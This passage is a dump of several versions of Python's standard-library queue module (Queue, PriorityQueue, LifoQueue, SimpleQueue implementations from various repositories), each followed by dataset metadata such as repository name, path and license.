raise ValueError("'timeout' must be a positive number")
elif not self.esema.acquire(0):
raise Empty
self.mutex.acquire()
release_esema = True
try:
was_full = self._full()
item = self._get()
# If we fail before here, the full state has
# not changed, so we can skip the release of fsema
if was_full:
self.fsema.release()
# Failure means empty state also unchanged - release_esema
# remains True.
release_esema = not self._empty()
finally:
if release_esema:
self.esema.release()
self.mutex.release()
return item
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = []
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.pop(0)
| {
"repo_name": "MalloyPower/parsing-python",
"path": "front-end/testsuite-python-lib/Python-2.3/Lib/Queue.py",
"copies": "3",
"size": "7834",
"license": "mit",
"hash": -5666351161145824000,
"line_mean": 37.0291262136,
"line_max": 81,
"alpha_frac": 0.5573142711,
"autogenerated": false,
"ratio": 4.499712808730615,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.001312451695044261,
"num_lines": 206
} |
'''A multi-producer, multi-consumer queue.'''
import threading
from collections import deque
from heapq import heappush, heappop
from time import monotonic as time
try:
from _queue import SimpleQueue
except ImportError:
SimpleQueue = None
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue', 'SimpleQueue']
try:
from _queue import Empty
except ImportError:
class Empty(Exception):
'Exception raised by Queue.get(block=0)/get_nowait().'
pass
class Full(Exception):
'Exception raised by Queue.put(block=0)/put_nowait().'
pass
class Queue:
'''Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
'''
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
'''Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
'''
with self.all_tasks_done:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
def join(self):
'''Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
'''
with self.all_tasks_done:
while self.unfinished_tasks:
self.all_tasks_done.wait()
def qsize(self):
'''Return the approximate size of the queue (not reliable!).'''
with self.mutex:
return self._qsize()
def empty(self):
'''Return True if the queue is empty, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() == 0
as a direct substitute, but be aware that either approach risks a race
condition where a queue can grow before the result of empty() or
qsize() can be used.
To create code that needs to wait for all queued tasks to be
completed, the preferred technique is to use the join() method.
'''
with self.mutex:
return not self._qsize()
def full(self):
'''Return True if the queue is full, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() >= n
as a direct substitute, but be aware that either approach risks a race
condition where a queue can shrink before the result of full() or
qsize() can be used.
'''
with self.mutex:
return 0 < self.maxsize <= self._qsize()
def put(self, item, block=True, timeout=None):
'''Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
'''
with self.not_full:
if self.maxsize > 0:
if not block:
if self._qsize() >= self.maxsize:
raise Full
elif timeout is None:
while self._qsize() >= self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while self._qsize() >= self.maxsize:
remaining = endtime - time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
def get(self, block=True, timeout=None):
'''Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
'''
with self.not_empty:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while not self._qsize():
remaining = endtime - time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
def put_nowait(self, item):
'''Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
'''
return self.put(item, block=False)
def get_nowait(self):
'''Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
'''
return self.get(block=False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
heappush(self.queue, item)
def _get(self):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
class _PySimpleQueue:
'''Simple, unbounded FIFO queue.
This pure Python implementation is not reentrant.
'''
# Note: while this pure Python version provides fairness
# (by using a threading.Semaphore which is itself fair, being based
# on threading.Condition), fairness is not part of the API contract.
# This allows the C version to use a different implementation.
def __init__(self):
self._queue = deque()
self._count = threading.Semaphore(0)
def put(self, item, block=True, timeout=None):
'''Put the item on the queue.
The optional 'block' and 'timeout' arguments are ignored, as this method
never blocks. They are provided for compatibility with the Queue class.
'''
self._queue.append(item)
self._count.release()
def get(self, block=True, timeout=None):
'''Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
'''
if timeout is not None and timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
if not self._count.acquire(block, timeout):
raise Empty
return self._queue.popleft()
def put_nowait(self, item):
'''Put an item into the queue without blocking.
This is exactly equivalent to `put(item)` and is only provided
for compatibility with the Queue class.
'''
return self.put(item, block=False)
def get_nowait(self):
'''Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
'''
return self.get(block=False)
def empty(self):
'''Return True if the queue is empty, False otherwise (not reliable!).'''
return len(self._queue) == 0
def qsize(self):
'''Return the approximate size of the queue (not reliable!).'''
return len(self._queue)
if SimpleQueue is None:
SimpleQueue = _PySimpleQueue
| {
"repo_name": "kikocorreoso/brython",
"path": "www/src/Lib/queue.py",
"copies": "11",
"size": "11356",
"license": "bsd-3-clause",
"hash": -2853323015562525000,
"line_mean": 34.3769470405,
"line_max": 85,
"alpha_frac": 0.608224727,
"autogenerated": false,
"ratio": 4.492088607594937,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
'''A multi-producer, multi-consumer queue.'''
try:
import threading
except ImportError:
import dummy_threading as threading
from collections import deque
from heapq import heappush, heappop
from time import monotonic as time
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
'Exception raised by Queue.get(block=0)/get_nowait().'
pass
class Full(Exception):
'Exception raised by Queue.put(block=0)/put_nowait().'
pass
class Queue:
'''Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
'''
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
'''Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
'''
with self.all_tasks_done:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
def join(self):
'''Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
'''
with self.all_tasks_done:
while self.unfinished_tasks:
self.all_tasks_done.wait()
def qsize(self):
'''Return the approximate size of the queue (not reliable!).'''
with self.mutex:
return self._qsize()
def empty(self):
'''Return True if the queue is empty, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() == 0
as a direct substitute, but be aware that either approach risks a race
condition where a queue can grow before the result of empty() or
qsize() can be used.
To create code that needs to wait for all queued tasks to be
completed, the preferred technique is to use the join() method.
'''
with self.mutex:
return not self._qsize()
def full(self):
'''Return True if the queue is full, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() >= n
as a direct substitute, but be aware that either approach risks a race
condition where a queue can shrink before the result of full() or
qsize() can be used.
'''
with self.mutex:
return 0 < self.maxsize <= self._qsize()
def put(self, item, block=True, timeout=None):
'''Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
'''
with self.not_full:
if self.maxsize > 0:
if not block:
if self._qsize() >= self.maxsize:
raise Full
elif timeout is None:
while self._qsize() >= self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while self._qsize() >= self.maxsize:
remaining = endtime - time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
def get(self, block=True, timeout=None):
'''Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
'''
with self.not_empty:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = time() + timeout
while not self._qsize():
remaining = endtime - time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
def put_nowait(self, item):
'''Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
'''
return self.put(item, block=False)
def get_nowait(self):
'''Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
'''
return self.get(block=False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
heappush(self.queue, item)
def _get(self):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "Reflexe/doc_to_pdf",
"path": "Windows/program/python-core-3.5.0/lib/queue.py",
"copies": "19",
"size": "8780",
"license": "mpl-2.0",
"hash": 4417901278239382000,
"line_mean": 34.6910569106,
"line_max": 85,
"alpha_frac": 0.5987471526,
"autogenerated": false,
"ratio": 4.493346980552713,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0007060809407969633,
"num_lines": 246
} |
'''A multi-producer, multi-consumer queue.'''
try:
import threading
except ImportError:
import dummy_threading as threading
from collections import deque
from heapq import heappush, heappop
try:
from time import monotonic as time
except ImportError:
from time import time
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
'Exception raised by Queue.get(block=0)/get_nowait().'
pass
class Full(Exception):
'Exception raised by Queue.put(block=0)/put_nowait().'
pass
class Queue:
'''Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
'''
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
'''Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
'''
with self.all_tasks_done:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
def join(self):
'''Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
'''
with self.all_tasks_done:
while self.unfinished_tasks:
self.all_tasks_done.wait()
def qsize(self):
'''Return the approximate size of the queue (not reliable!).'''
with self.mutex:
return self._qsize()
def empty(self):
'''Return True if the queue is empty, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() == 0
as a direct substitute, but be aware that either approach risks a race
condition where a queue can grow before the result of empty() or
qsize() can be used.
To create code that needs to wait for all queued tasks to be
completed, the preferred technique is to use the join() method.
'''
with self.mutex:
return not self._qsize()
def full(self):
'''Return True if the queue is full, False otherwise (not reliable!).
This method is likely to be removed at some point. Use qsize() >= n
as a direct substitute, but be aware that either approach risks a race
condition where a queue can shrink before the result of full() or
qsize() can be used.
'''
with self.mutex:
return 0 < self.maxsize <= self._qsize()
def put(self, item, block=True, timeout=None):
'''Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
'''
with self.not_full:
if self.maxsize > 0:
if not block:
if self._qsize() >= self.maxsize:
raise Full
elif timeout is None:
while self._qsize() >= self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = time() + timeout
while self._qsize() >= self.maxsize:
remaining = endtime - time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
def get(self, block=True, timeout=None):
'''Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
'''
with self.not_empty:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = time() + timeout
while not self._qsize():
remaining = endtime - time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
def put_nowait(self, item):
'''Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
'''
return self.put(item, block=False)
def get_nowait(self):
'''Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
'''
return self.get(block=False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
heappush(self.queue, item)
def _get(self):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "MalloyPower/parsing-python",
"path": "front-end/testsuite-python-lib/Python-3.3.0/Lib/queue.py",
"copies": "13",
"size": "8819",
"license": "mit",
"hash": 5464932770845604000,
"line_mean": 34.4176706827,
"line_max": 85,
"alpha_frac": 0.5990475111,
"autogenerated": false,
"ratio": 4.5040858018386105,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
def __init__(self, maxsize=0):
"""Initialize a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
import thread
self._init(maxsize)
self.mutex = thread.allocate_lock()
self.esema = thread.allocate_lock()
self.esema.acquire()
self.fsema = thread.allocate_lock()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return 1 if the queue is empty, 0 otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return 1 if the queue is full, 0 otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=1):
"""Put an item into the queue.
If optional arg 'block' is 1 (the default), block if
necessary until a free slot is available. Otherwise (block
is 0), put an item on the queue if a free slot is immediately
available, else raise the Full exception.
"""
if block:
self.fsema.acquire()
elif not self.fsema.acquire(0):
raise Full
self.mutex.acquire()
was_empty = self._empty()
self._put(item)
if was_empty:
self.esema.release()
if not self._full():
self.fsema.release()
self.mutex.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, 0)
def get(self, block=1):
"""Remove and return an item from the queue.
If optional arg 'block' is 1 (the default), block if
necessary until an item is available. Otherwise (block is 0),
return an item if one is immediately available, else raise the
Empty exception.
"""
if block:
self.esema.acquire()
elif not self.esema.acquire(0):
raise Empty
self.mutex.acquire()
was_full = self._full()
item = self._get()
if was_full:
self.fsema.release()
if not self._empty():
self.esema.release()
self.mutex.release()
return item
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(0)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = []
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
item = self.queue[0]
del self.queue[0]
return item
| {
"repo_name": "ai-ku/langvis",
"path": "jython-2.1/Lib/Queue.py",
"copies": "4",
"size": "4001",
"license": "mit",
"hash": -7894369959905430000,
"line_mean": 28.3106060606,
"line_max": 74,
"alpha_frac": 0.5628592852,
"autogenerated": false,
"ratio": 4.33008658008658,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.689294586528658,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
try:
import threading
except ImportError:
import dummy_threading as threading
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "diegocortassa/TACTIC",
"path": "src/context/client/tactic-api-python-4.0.api04/Lib/Queue.py",
"copies": "8",
"size": "8818",
"license": "epl-1.0",
"hash": -5692779706526594000,
"line_mean": 34.1393442623,
"line_max": 85,
"alpha_frac": 0.5699705149,
"autogenerated": false,
"ratio": 4.5665458311755565,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9136516346075556,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
from collections import deque
__all__ = ['Empty', 'Full', 'Queue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
try:
import threading
except ImportError:
import dummy_threading as threading
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
